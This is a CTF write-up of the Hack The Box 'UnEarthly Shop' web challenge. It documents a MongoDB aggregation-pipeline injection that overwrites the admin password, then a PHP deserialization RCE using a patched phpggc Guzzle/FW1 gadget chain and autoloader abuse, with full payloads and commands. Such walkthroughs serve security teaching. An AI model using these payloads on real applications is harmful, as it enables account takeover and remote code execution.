UnEarthly Shop walkthrough - Cyber Apocalypse 2023
- 1 Introduction
- 2 Mapping the application
- 3 Vulnerability analysis - MongoDB NoSQL injection
- 4 Exploitation - set admin password via MongoDB NoSQL injection
- 5 Vulnerability analysis - php deserialization RCE
-
6 Exploitation - php RCE gadget
chain
- 6.1 Patching the Guzzle/FW1 gadget chain code
- 6.2 Generating the Guzzle/FW1 gadget chain
- 6.3 Generating a payload to execute /tmp/readflag.php
- 6.4 Persisting the Guzzle/FW1 gadget chain
- 6.5 Persisting the /tmp/readflag.php executing gadget
- 6.6 Triggering the Guzzle/FW1 gadget chain
- 6.7 Reading the flag
- 7 Conclusion
→ 1 Introduction
I previously wrote about participating in the Hack The Box Cyber Apocalypse 2023 CTF (Capture the Flag) competition.
This walkthrough covers the UnEarthly Shop challenge in the Web category, which was rated as having a ‘hard’ difficulty. This challenge is a white box web application assessment, as the application source code was downloadable, including build scripts for building and deploying the application locally as a Docker container.
Whilst I did not have time to complete the challenge during the live CTF event, I managed to complete it during the post-CTF “after party”, which was an additional three days during which the challenges were made available to be completed without scoring.
The description of the challenge is shown below.
The key techniques employed in this walkthrough are:
- manual source code review
- MongoDB NoSQL injection vulnerability analysis and exploitation
- php deserialization vulnerability analysis and exploitation
→ 2 Mapping the application
→ 2.1 Mapping the application via interaction
-
The target website was opened in the Burp browser, revealing an “UnEarthly Artifacts Shop” login form
-
The following request was observed in Burp during the website page load. The presence of the
$match
syntax in the request is notable, as MongoDB supports a $match filter, suggesting that the application will happily accept and process raw MongoDB queries. As such, the application is potentially vulnerable to MongoDB NoSQL injection, which is an instance of the common weakness CWE-943: Improper Neutralization of Special Elements in Data Query Logic. This will be confirmed later in this walkthrough.POST /api/products HTTP/1.1 Host: 104.248.169.117:31182 Content-Length: 29 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://104.248.169.117:31182 Referer: http://104.248.169.117:31182/ Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Connection: close [{"$match":{"instock":true}}] HTTP/1.1 200 OK Server: nginx Date: Sat, 25 Mar 2023 05:38:23 GMT Content-Type: application/json; charset=utf-8 Connection: close Content-Length: 2842 [ { "_id": 1, "name": "extraterrestrial space set one", "description": "Our Extraterrestrial Space Set One is a collection of 20 unique artifacts made from a mysterious blue gemstone material, unlike anything found on Earth. These objects were discovered in a remote region of the galaxy and are believed to be remnants of an alien spacecraft. Each artifact is visually stunning, with strange symbols and patterns carved into them. These artifacts offer a tantalizing glimpse into the vast and wondrous universe beyond our own. Order yours today and experience the magic of the cosmos for yourself.", "price": "1.299", "image": "relic_6.png", "instock": true }, <snip/> { "_id": 4, "name": "Cosmic Convergence Set", "description": "Our Cosmic Convergence Set is a collection of 21 artifacts made from a shimmering blue crystal that seems to contain the essence of the cosmos itself. Each artifact in this set is a work of art, with intricate patterns and designs etched into the surface. These artifacts were discovered in a distant galaxy and are believed to have been used in a sacred cosmic ceremony. Experience the majesty of the universe with this stunning collection.", "price": "1.399", "image": "relic_3.png", "instock": true } ]
-
For brevity, further interactive exploration of the UI is omitted from this walkthrough as it was of little consequence.
→ 2.2 Mapping the application via source code review
To support the interactive mapping and to easily discover hidden endpoints, further mapping of the application was conducted via source code review.
-
From the Dockerfile, the following was observed
-
A Debian base image is used
-
Both MongoDB and php are installed, indicating the application is likely a php web application with a backend MongoDB database
# Install mongodb RUN wget -qO - https://www.mongodb.org/static/pgp/server-6.0.asc | apt-key add - RUN echo "deb http://repo.mongodb.org/apt/debian buster/mongodb-org/6.0 main" | tee /etc/apt/sources.list.d/mongodb.list RUN apt-get update && apt install -y mongodb-org # Install php RUN curl -sSo /etc/apt/trusted.gpg.d/php.gpg https://packages.sury.org/php/apt.gpg RUN echo "deb https://packages.sury.org/php/ $(lsb_release -sc) main" | tee /etc/apt/sources.list.d/php.list RUN apt update && apt install -y php7.4-fpm php7.4-mbstring php7.4-json php7.4-mongodb php7.4-memcached
-
The flag is located in
/root/flag
, which is typically only readable by theroot
user.Furthermore, obtaining the flag requires exploiting a remote code execution vulnerability in order to execute
/readflag
, which is a good hint as to the expected attack vector.config/readflag.c
reads the flag as the root user and prints it to standard out -
The Docker container runs the application via
/entrypoint.sh
-
-
/entrypoint.sh
does the following-
Starts a MongoDB server
-
Generates a 16 character long pseudorandom alphanumeric password and sets the admin user password in
/opt/schema/users.json
to this value -
Imports the admin user into the MongoDB database
-
Runs the application via supervisord, which is a “client/server system that allows its users to monitor and control a number of processes on UNIX-like operating systems”.
-
-
config/supervisord.conf
indicates there are two processes running, one php-fpm process,program:fpm
on line 8 and one nginx processprogram:nginx
on line 17:[supervisord] user=root nodaemon=true logfile=/dev/null logfile_maxbytes=0 pidfile=/run/supervisord.pid [program:fpm] command=php-fpm7.4 -F autostart=true priority=1000 stdout_logfile=/dev/stdout stdout_logfile_maxbytes=0 stderr_logfile=/dev/stderr stderr_logfile_maxbytes=0 [program:nginx] command=nginx -g 'daemon off;' autostart=true stdout_logfile=/dev/stdout stdout_logfile_maxbytes=0 stderr_logfile=/dev/stderr stderr_logfile_maxbytes=0
-
config/nginx.conf
configures nginx in the following way
→ 3 Vulnerability analysis - MongoDB NoSQL injection
→ 3.1 Manual source code review - frontend
In order to more easily determine how the application processes
requests submitted to /api/products
, especially how the
$match
syntax is handled, manual review of the source code
was conducted.
-
challenge/frontend/index.php
defines aRouter
for mapping URLs to controllers. Line 29 maps the/api/products
route to theproducts
method in theShopController
-
In
challenge/frontend/controllers/ShopController.php
, theproducts
method uses the native json_decode function to decode JSON from the request body on line 17, then delegates the query to$this->product->getProducts($query)
on line 24. Notably, no input validation is performed on the JSON.public function products($router) { $json = file_get_contents('php://input'); $query = json_decode($json, true); if (!$query) { $router->jsonify(['message' => 'Insufficient parameters!'], 400); } $products = $this->product->getProducts($query); $router->jsonify($products); }
There is no
$this->product
field inShopController
itself but the class inherits fromController
on line 2:In
challenge/frontend/controllers/Controller.php
,$this->product
is an instance ofProductModel
on line 7: -
In
challenge/frontend/models/ProductModel.php
,getProducts
delegates the query to$this->database->query('products', $query)
on line 11 -
In
challenge/frontend/Database.php
, thequery
function passes the$query
parameter down to$collection->aggregate($query)
on line 34public function query($collection, $query) { $collection = $this->db->$collection; $cursor = $collection->aggregate($query); if (!$cursor) { return false; } $rows = []; foreach ($cursor as $row) { array_push($rows, $row->jsonSerialize()); } return $rows; }
On lines 25-27, it can be seen that
$this->db->$collection
is from the underlingMongoDB\Client
public function connect($database) { $this->client = new MongoDB\Client($this->uri); $this->db = $this->client->$database; }
As there is no input validation performed on the JSON that was originally passed into the
/api/products
route before it is passed down to the MongoDB client, the application is vulnerable to MongoDB NoSQL injection, which is an instance of the common weakness CWE-943: Improper Neutralization of Special Elements in Data Query Logic.A good reference for mitigating this type of vulnerability is the OWASP Injection Cheat Sheet.
→ 3.2 Understanding the MongoDB aggregate method
The aggregate() method is documented as follows:
In the db.collection.aggregate() method and db.aggregate() method, pipeline stages appear in an array. Documents pass through the stages in sequence.
An example illustrating the form of the aggregate()
method is given at https://www.mongodb.com/docs/manual/core/aggregation-pipeline/#calculate-total-order-quantity
.orders.aggregate( [
db// Stage 1: Filter pizza order documents by pizza size
{$match: { size: "medium" }
,
}// Stage 2: Group remaining documents by pizza name and calculate total quantity
{$group: { _id: "$name", totalQuantity: { $sum: "$quantity" } }
} ] )
This structure very much matches the structure of the JSON passed to
the /api/products
route, where the latter has a single
$match
stage:
"$match":{"instock":true}}] [{
MongoDB supports many different types of stages. Of particular interest for this walkthrough are the following stages:
-
The $merge stage is documented as follows:
Writes the results of the aggregation pipeline to a specified collection. The $merge operator must be the last stage in the pipeline.
Given the
admin
password is stored in theusers
collection in the MongoDB database, the$merge
stage may allow us to overwrite theadmin
user’s password. -
The $set stage is documented as follows:
Adds new fields to documents. $set outputs documents that contain all existing fields from the input documents and newly added fields.
The
$set
stage may allow us to set theadmin
password field to a value before the$merge
stage writes the data to theusers
collection.
→ 4 Exploitation - set admin password via MongoDB NoSQL injection
→ 4.1 Formulating the $set aggregation pipeline stage
The structure of data persisted to the users collection was obtained
from config/schema/users.json
[
{
"_id": 1,
"username": "admin",
"password": "[REDACTED]",
"access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"
}
]
Thus, the $set
stage of the aggregation pipeline can be
defined similarly to set the password field to “admin”
"$set":
{
"_id": 1,
"username": "admin",
"password": "admin",
"access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"
}
Notably, the value of the access
field appears to be a
php
serialized object. We will return to this observation later in this
walkthrough.
→ 4.2 Formulating the $merge aggregation pipeline stage
The $merge
stage was defined as follows:
"$merge":
{
"into":"users",
"on": "_id",
"whenMatched": "replace",
"whenNotMatched": "insert"
}
Each field is used as follows:
-
"into":"users"
-
write data to the
users
collection -
"on": "_id"
-
defines the
_id
field to be the document identifier -
"whenMatched": "replace"
- if an existing document has the same id, replace it
-
"whenNotMatched": "insert"
- if no existing document exists, insert a new one. This should not really be required in this instance, since we know an existing document exists but it was included for generality.
→ 4.3 Combining the $set and $merge aggregation pipeline stages
Combining the two stages gives the following aggregation pipeline,
which will create a document containing the admin user object in the
$set
stage, then write the data to the users
collection in the $merge
stage.
[
{
"$set":
{
"_id": 1,
"username": "admin",
"password": "admin",
"access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"
}
},
{
"$merge":
{
"into":"users",
"on": "_id",
"whenMatched": "replace",
"whenNotMatched": "insert"
}
}
]
→ 4.4 Submitting the aggregation pipeline
The aggregation pipeline was submitted to the
/api/products
route, resulting in a 200 OK response:
→ 4.5 Logging in as the admin user
The admin:admin
credentials were used to successfully
login as the admin
user, demonstrating that the MongoDB
NoSQL injection vulnerability had been successfully exploited:
→ 5 Vulnerability analysis - php deserialization RCE
→ 5.1 Manual source code review - backend
The source code review earlier in this walkthrough focused primarily
on the frontend layer of the application, noting that the
/admin
route was aliased to the /www/backend
directory. Now that access to the /admin
route has been
achieved, it is time to take a closer look at the backend layer.
It was previously observed that the data persisted to the
users
collection from config/schema/users.json
contains an access
field which appears to be a php
serialized object:
[
{
"_id": 1,
"username": "admin",
"password": "[REDACTED]",
"access": "a:4:{s:9:\"Dashboard\";b:1;s:7:\"Product\";b:1;s:5:\"Order\";b:1;s:4:\"User\";b:1;}"
}
]
Given we have proven we can write data to the users
collection, there is likely a php deserialization vulnerability, which
is an instance of the common weakness CWE-502:
Deserialization of Untrusted Data. A good reference for mitigating
this type of vulnerability is the OWASP
Deserialization Cheat Sheet.
The code base was searched for the unserialize
function call, which yielded a match in
challenge/backend/models/UserModel.php
on line 9. This
indicates php deserialization of the access
field can be
triggered whenever a user has already successfully logged in and the
fields from the users
collection are in the session.
<?php
class UserModel extends Model
{
public function __construct()
{
parent::__construct();
$this->username = $_SESSION['username'] ?? '';
$this->email = $_SESSION['email'] ?? '';
$this->access = unserialize($_SESSION['access'] ?? '');
}
→ 5.2 Hunting for an RCE gadget chain
Exploitation of php deserialization vulnerabilities to achieve remote code execution requires the following pre-requisites:
-
The php class path must contain a class that insecurely implements one or more of the trampoline functions listed at https://book.hacktricks.xyz/pentesting-web/deserialization#php, namely:
-
A chain of classes from the trampoline function must exist that ultimately results in code execution. This is known as a gadget chain.
The code base was searched for the trampoline methods, with
__destruct
found in guzzlehttp
vendor modules
in the frontend layer:
Notably, phpggc
1 contains gadget chains
for Guzzle
, also based on the __destruct
attack vector:
$ phpggc -l |grep -i -e ^guzzle -e gadget -e version
Gadget Chains
NAME VERSION TYPE VECTOR I
Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct
Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct *
Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct *
However, guzzlehttp
is used in the frontend layer,
whereas our attack vector, the deserialization of the
access
field from the users
collection, is via
the backend layer. Nevertheless, an attack chain for this type of
situation is documented at HackTricks:
PHP - Deserialization + Autoload Classes. The following key
pre-requisites for the documented technique also existed in the
target:
-
In the backend layer,
challenge/backend/index.php
contains a spl_autoload_register call which registers a function to auto load classes. This means classes can be used without explicitly loading them.spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } });
-
In the frontend layer,
challenge/frontend/vendor/autoload.php
contains composer generated code for loading all vendor modules:<?php // autoload.php @generated by Composer if (PHP_VERSION_ID < 50600) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL; if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, $err); } elseif (!headers_sent()) { echo $err; } } trigger_error( $err, E_USER_ERROR ); } require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInita4bb17fe7934ec8d3b3dbf48677a1e9d::getLoader();
Furthermore, the
Dockerfile
copies the challenge to/www
and thus, the location of the autoloader matches the HackTricks documented path of/www/frontend/vendor/autoload.php
.
→ 6 Exploitation - php RCE gadget chain
→ 6.1 Patching the Guzzle/FW1 gadget chain code
HackTricks: PHP - Deserialization + Autoload Classes contains the following note:
NOTE: The generated gadget was not working, in order for it to work I modified that payload chain.php of phpggc and set all the attributes of the classes from private to public. If not, after deserializing the string, the attributes of the created objects didn’t have any values.
As such, the Guzzle/FW1
gadget chain code was patched to
make each class attribute public:
$ pwd
/usr/share/phpggc/gadgetchains/Guzzle/FW/1
$ diff gadgets.php.bak gadgets.php
7c7
< private $data;
---
> public $data;
21,22c21,22
< private $cookies = [];
< private $strictMode;
---
> public $cookies = [];
> public $strictMode;
32,33c32,33
< private $filename;
< private $storeSessionCookies = true;
---
> public $filename;
> public $storeSessionCookies = true;
41c41
< }
\ No newline at end of file
---
> }
→ 6.2 Generating the Guzzle/FW1 gadget chain
The Guzzle/FW1
gadget chain is a file write chain which
requires two arguments, the remote_path
to write the file
to and the local_path
containing the payload to be
written:
$ phpggc Guzzle/FW1
<snip/>
Name : Guzzle/FW1
Version : 6.0.0 <= 6.3.3+
Type : File write
Vector : __destruct
ERROR: Invalid arguments for type "File write"
./phpggc Guzzle/FW1 <remote_path> <local_path>
The payload was defined to execute the /readflag
binary
and echo the results to standard out:
$ cat readflag.php
<?php echo(system('/readflag')); ?>
The gadget chain was generated with a remote_path
of
/tmp/readflag.php
:
$ phpggc Guzzle/FW1 /tmp/readflag.php $(pwd)/readflag.php
<snip/>
O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:35:"<?php echo(system('/readflag')); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:17:"/tmp/readflag.php";s:19:"storeSessionCookies";b:1;}
Next, the gadget chain was placed into a php serialized array, with
the first element containing the class name
www_frontend_vendor_autoload
, which will be auto loaded by
the backend layer class autoloader. This ensures the
guzzlehttp
module will be loaded so that the gadget chain
has access to the GuzzleHttp
class:
a:2:{i:0;O:28:"www_frontend_vendor_autoload":0:{}i:1;O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:35:"<?php echo(system('/readflag')); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:17:"/tmp/readflag.php";s:19:"storeSessionCookies";b:1;};}
→ 6.3 Generating a payload to execute /tmp/readflag.php
The Guzzle/FW1
gadget chain above only generates
/tmp/readflag.php
but does not execute it. Thus, we need
another php serialization payload to load the
/tmp/readflag.php
file, taking advantage of the backend
class autoloader, which will translate tmp_readflag
to
/tmp/readflag.php
:
O:12:\"tmp_readflag\":0:{}
As documented by HackTricks, this could be added to the end of the previous deserialization gadget. However, in this walkthrough, it will be delivered as a separate stage.
→ 6.4 Persisting the Guzzle/FW1 gadget chain
The Guzzle/FW1
gadget chain was formatted to be JSON
friendly by escaping the double quote characters:
a:2:{i:0;O:28:\"www_frontend_vendor_autoload\":0:{}i:1;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:7:\"cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:4:\"data\";a:3:{s:7:\"Expires\";i:1;s:7:\"Discard\";b:0;s:5:\"Value\";s:35:\"<?php echo(system('/readflag')); ?>\";}}}s:10:\"strictMode\";N;s:8:\"filename\";s:17:\"/tmp/readflag.php\";s:19:\"storeSessionCookies\";b:1;};}
Next, the MongoDB NoSQL injection vulnerability was once again
exploited to post the gadget chain to /api/products
in the
access
field of a new gadgeteer
user:
→ 6.5 Persisting the /tmp/readflag.php executing gadget
The MongoDB NoSQL injection vulnerability was once again exploited to
post the gadget chain to /api/products
in the
access
field of a new flagreader
user, which
will execute the /tmp/readflag.php
file:
→ 6.6 Triggering the Guzzle/FW1 gadget chain
The Guzzle/FW1
gadget chain was triggered by logging in
as the gadgeteer
user, although technically, I think the
deserialization only occurs when the /admin/dashboard
route
is requested after login.
→ 6.7 Reading the flag
The /tmp/readflag
gadget was triggered by logging in as
the flagreader
user:
Retrieving the user’s dashboard at /admin/dashboard
revealed the flag in the response:
→ 7 Conclusion
The flag was submitted and the challenge was marked as pwned